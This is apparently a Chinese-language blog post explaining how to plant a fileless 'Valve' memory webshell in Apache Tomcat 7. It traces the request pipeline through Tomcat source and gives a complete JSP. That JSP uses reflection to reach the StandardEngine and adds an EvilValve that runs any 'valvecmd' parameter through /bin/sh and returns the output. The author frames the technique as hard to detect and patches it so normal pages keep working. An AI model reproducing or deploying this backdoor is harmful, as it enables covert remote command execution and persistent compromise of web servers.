由于Valve并不以实体文件存在,深入容器内部不易发现,且又能执行我们想要的代码逻辑,是一个极好利用点。如果Valve插到最顶层的container也就是Engine,则会对Engine下的所有的context生效。

源码分析

版本:apache-tomcat-7.0.109

目的

已知真正处理请求的地方在CoyoteAdapter的service()方法,其中会调用StandardEngine的getPipline()方法获取其pipeline,随后获取pipeline中第一个valve并调用该valve的invoke方法。
企业微信截图_14b36a12-9346-4c92-b98d-18e41b176182.png
企业微信截图_9340330c-7484-4674-b23c-7834938d547b.png
跟进上面源码调用的invoke()方法:
企业微信截图_c896c1cb-b6f8-413a-90d6-3000d31e5864.png
StandardEngineValve继承于ValveBase类。
企业微信截图_3f1e8839-8c91-4402-a22c-85a67090e57c.png
我们的目标是创建一个Valve并插到最顶层的container也就是Engine。
可以考虑实现一个继承于ValveBase类的evilValve实例,并将该实例添加到Pipeline。企业微信截图_7aeea983-e2dc-4061-9f8e-6df2047ee02e.png

添加Valve

已知通过server.xml会注册一个日志记录的Valve,可以通过它看看如何注册Valve。
企业微信截图_10fd8483-8819-41d9-8c4a-dea83e309928.png
AccessLogValve也是继承于ValveBase。看上去只需要两步即可完成Valve的添加。
企业微信截图_0ade7049-74ad-4763-95bf-9baa9e2bb207.png
可回想起前面也调用了getPipeline()方法,对象是StandardEngine。
因此实现步骤可进一步拆解为:

  1. 创建ValveBase的子类EvilValve,创建实例evilValve。
  2. 获取StandardEngine对象,调用addValve()方法添加evilValve。

获取StandardEngine对象

企业微信截图_9dc5b99f-fdbf-4cff-b1f8-d7643f4bc8f7.png
这里是jsp文件中通过request对象获取StandardEngine对象的方式,即可以通过反射获取到最后一个变量container。

  1. ((StandardService)((ApplicationContext)((StandardContext)((Request)((RequestFacade)request).request).context).context).service).container

或者先调用一次方法getServletContext()方法再反射获取,也是一样的:
企业微信截图_e48fc353-53b4-44f7-a27b-2043bf81a491.png

实现

  1. 创建ValveBase的子类EvilValve,创建实例evilValve。
  2. 通过反射由request获取StandardEngine对象。
  3. StandardEngine调用addValve()方法添加evilValve。

测试环境:apache-tomcat-7.0.109

  1. <%@ page import="java.lang.reflect.Field" %>
  2. <%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
  3. <%@ page import="org.apache.catalina.core.ApplicationContext" %>
  4. <%@ page import="org.apache.catalina.core.StandardService" %>
  5. <%@ page import="org.apache.catalina.core.StandardEngine" %>
  6. <%@ page import="org.apache.catalina.valves.ValveBase" %>
  7. <%@ page import="org.apache.catalina.connector.Request" %>
  8. <%@ page import="org.apache.catalina.connector.Response" %>
  9. <%@ page import="java.io.IOException" %>
  10. <%@ page import="java.io.BufferedReader" %>
  11. <%@ page import="java.io.InputStreamReader" %>
  12. <%
  13. ApplicationContextFacade appCf = (ApplicationContextFacade)request.getServletContext();
  14. ApplicationContext appCtx = (ApplicationContext)getFieldValue(appCf, "context");
  15. StandardService stdSrv = (StandardService)getFieldValue(appCtx, "service");
  16. StandardEngine stdEng = (StandardEngine)getFieldValue(stdSrv, "container");
  17. EvilValve evilValve = new EvilValve();
  18. stdEng.getPipeline().addValve(evilValve);
  19. out.println("注入valve成功!");
  20. %>
  21. <%!
  22. public class EvilValve extends ValveBase{
  23. @Override
  24. public void invoke(Request request, Response response) throws IOException, ServletException {
  25. String cmder = request.getParameter("valvecmd");
  26. String[] cmd = new String[]{"/bin/sh", "-c", cmder};
  27. try {
  28. Process ps = Runtime.getRuntime().exec(cmd);
  29. BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));
  30. StringBuffer sb = new StringBuffer();
  31. String line;
  32. while ((line = br.readLine()) != null) {
  33. sb.append(line).append("\n");
  34. }
  35. String result = sb.toString();
  36. response.getWriter().write(result);
  37. } catch (Exception e) {
  38. System.out.println("error ");
  39. }
  40. getNext().invoke(request, response); //20210628-Update
  41. }
  42. }
  43. public static Object getFieldValue(Object obj, String fieldName) throws Exception {
  44. Field f = obj.getClass().getDeclaredField(fieldName);
  45. f.setAccessible(true);
  46. return f.get(obj);
  47. }
  48. %>

20210628-Update:
代码在测试中发现会导致正常业务页面响应异常,排查发现遗漏了getNext操作。

参考

[1].Tomcat容器攻防笔记之Valve内存马出世